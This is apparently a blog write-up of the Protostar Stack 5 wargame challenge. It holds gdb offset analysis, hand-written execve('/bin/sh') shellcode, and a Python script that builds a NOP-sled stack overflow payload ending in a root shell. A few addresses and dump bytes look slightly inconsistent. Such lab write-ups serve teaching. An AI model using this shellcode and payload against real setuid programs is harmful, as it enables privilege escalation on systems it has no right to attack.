Sunday, December 16, 2012

exploit-exercises Protostar: Stack 5

This is the write-up for Stack 5 challenge of the exploit-exercises' Protostar
wargame. The source code of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
   char buffer[64];
This time, we won't get a win() free ride. A good opportunity to have some fun
writing some shellcode. ;)
Like the previous challenge, we use gdb to debug the vulnerable program. We
break just after the gets() call. We check the offset between where the return
address is stored and the buffer address.
user@protostar:~/stack5$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) break *main+21
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) run
Starting program: /opt/protostar/bin/stack5

Breakpoint 1, main (argc=1, argv=0xbffff864) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
        in stack5/stack5.c
(gdb) x/40x $esp
0xbffff760:     0xbffff770      0xb7ec6165      0xbffff778      0xb7eada75
0xbffff770:     0x41414141      0x41414141      0x41414141 0x41414141
0xbffff780:     0x41414141      0x08004141      0xbffff7b8    0x08048409
0xbffff790:     0xb7fd8304      0xb7fd7ff4      0x080483f0      0xbffff7b8
0xbffff7a0:     0xb7ec6365      0xb7ff1040      0x080483fb      0xb7fd7ff4
0xbffff7b0:     0x080483f0      0x00000000      0xbffff838      0xb7eadc76
0xbffff7c0:     0x00000001      0xbffff864      0xbffff86c      0xb7fe1848
0xbffff7d0:     0xbffff820      0xffffffff      0xb7ffeff4      0x08048232
0xbffff7e0:     0x00000001      0xbffff820      0xb7ff0626      0xb7fffab0
0xbffff7f0:     0xb7fe1b28      0xb7fd7ff4      0x00000000     0x00000000
(gdb) x/2x $ebp
0xbffff7b8:     0xbffff838      0xb7eadc76
(gdb) p 0xbffff7b8 - 0xbffff770 + 4
$1 = 76
We have 72 bytes up to EBP and 76 to reach where the return address is stored. Then, we set our system to generate core dumps files of crashes.
user@protostar:~/stack5$ ulimit -c unlimited
user@protostar:~/stack5$ cat /proc/sys/kernel/core_pattern
and as root, we set the /proc/sys/fs/suid_dumpable value. We will analyze the core dumps after that.
user@protostar:~/stack5$ gdb -q -c /tmp/core.11.stack5.1471
Core was generated by `/opt/protostar/bin/stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/40wx $esp - 100
0xbffff76c:    0x080483d9  0xbffff780  0xb7ec6165  0xbffff788
0xbffff77c:    0xb7eada75  0x41414141  0x41414141  0x41414141
0xbffff78c:    0x41414141  0x41414141  0x41414141  0x41414141
0xbffff79c:    0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7ac:    0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7bc:    0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7cc:    0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7dc:    0x41414141  0x41414141  0xffffff00  0xb7ffeff4
0xbffff7ec:    0x08048232  0x00000001  0xbffff830  0xb7ff0626
0xbffff7fc:    0xb7fffab0  0xb7fe1b28  0xb7fd7ff4  0x00000000
The correct address at which we start writing is 0xbfffff780.
With all this known, our payload should be <NOPs>.<Shellcode>.<JJJJ.<NEWRET>
The NOPs are instruction that when executed, do nothing. They are there to
increase the chance of the shellcode being run properly and make the exploit
more portable/reliable as it would be harder to pinpoint the start of the
shellcode in varying running environments/situations. The NOP instruction's
opcode is 0x90. The total size of the nopsled + shellcode is 72. The JJJJ is
just junk value that will be on the frame pointer. Its value is not important.
The NEWRET is the value that will be stored in EIP when the main() call
returns. We should point it somewhere in the middle of the nopsled to increase
the likelihood of the exploit succeeding. Now with the fun part, writing the shellcode.  Some tutorials you may find good for a start are this tutorial by Daniele Mazzocchio and this one by Steve Hanna. For this challenge, I have written this simple enough shellcode:
user@protostar:~/stack5$ cat shell.asm
section .text

global _start

; execve("/bin/sh", NULL, NULL)

mov eax, 0xf068732f
and eax, 0x0fffffff
push eax
mov eax, 0x6e69622f
push eax
mov ebx, esp
xor eax, eax
mov al, 11
xor ecx, ecx
xor edx, edx
int 0x80
I prefer the simpler push mov and push way of storing the "/bin/sh" string in memory to the call/jmp trick you may see elsewhere. The "and eax, 0x0fffffff" along with a "0xf0..." is what I thought of to add the trailing null byte to the string. There are surely other ways to do it. It comes down to what you prefer/know.
user@protostar:~/stack5$ nasm -f elf shell.asm
user@protostar:~/stack5$ ld -o shell shell.o
user@protostar:~/stack5$ ./shell
$ whoami
This little toy works, time to use it for real. We first get the opcodes
user@protostar:~/stack5$ objdump -d shell.o

shell.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0:   b8 2f 73 68 f0          mov    $0xf068732f,%eax
   5:   25 ff ff ff 0f          and    $0xfffffff,%eax
   a:   50                      push   %eax
   b:   b8 2f 62 69 6e          mov    $0x6e69622f,%eax
  10:   50                      push   %eax
  11:   89 e3                   mov    %esp,%ebx
  13:   31 c0                   xor    %eax,%eax
  15:   b0 0b                   mov    $0xb,%al
  17:   31 c9                   xor    %ecx,%ecx
  19:   31 d2                   xor    %edx,%edx
  1b:   cd 80                   int    $0x80
And because life is too short to not use Python, we use it to generate the full payload.
user@protostar:~/stack5$ cat
#!/usr/bin/env python
offset = 72
shellcode = "\xb8\x2f\x73\x68\xf0\x25\xff\xff\xff\x0f\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"

nopsled = "\x90" * (offset - len(shellcode))

ret = "\x90\xf7\xff\xbf"

payload = nopsled + shellcode + "JJJJ" + ret

print payload
user@protostar:~/stack5$ python | xxd -g 1 -
0000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0000010: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0000020: 90 90 90 90 90 90 90 90 90 90 62 38 2f 73 68 f0  ..........b8/sh.
0000030: 25 ff ff ff 0f 50 b8 2f 62 69 6e 50 89 e3 31 c0  %....P./binP..1.
0000040: b0 0b 31 c9 31 d2 cd 80 4a 4a 4a 4a 90 f7 ff bf  ..1.1...JJJJ....
0000050: 0a                                               .
The trailing "\x0a" generate by the python "print" doesn't hurt. :)
user@protostar:~/stack5$ python > payload5
user@protostar:~/stack5$ /opt/protostar/bin/stack5 < payload5
user@protostar:~/stack5$ id
uid=1001(user) gid=1001(user) groups=1001(user)
Now, this part bogged me for some time, I have debugged the exploit and
everything was working as expected, except the suid shell that was being
dropped. Trying other programs such as "/bin/ls" worked fine. After some
google-fu, I found out that it was caused by the shell redirection "<"
appending an EOF after redirecting payload5.
Courtesy of opensecuritytraining, I used this bash trick to circumvent this
problem rather than opting for a different exploit.
user@protostar:~/stack5$ (cat payload5; cat) | /opt/protostar/bin/stack5

uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
payload5  shell  shell.asm  shell.o
And that is it! the second "cat" is used to keep the file descriptor of the stdin of the pipe open, so that we can leverage the shell.


  1. If I use gdb print buffer address, why it is larger than $ebp?Thanks

  2. Thanks for this post, very cool blog. that redirection issue was tough. I wonder if there is any reason why you wouldn't write the shellcode over the pushed ebp? Thanks!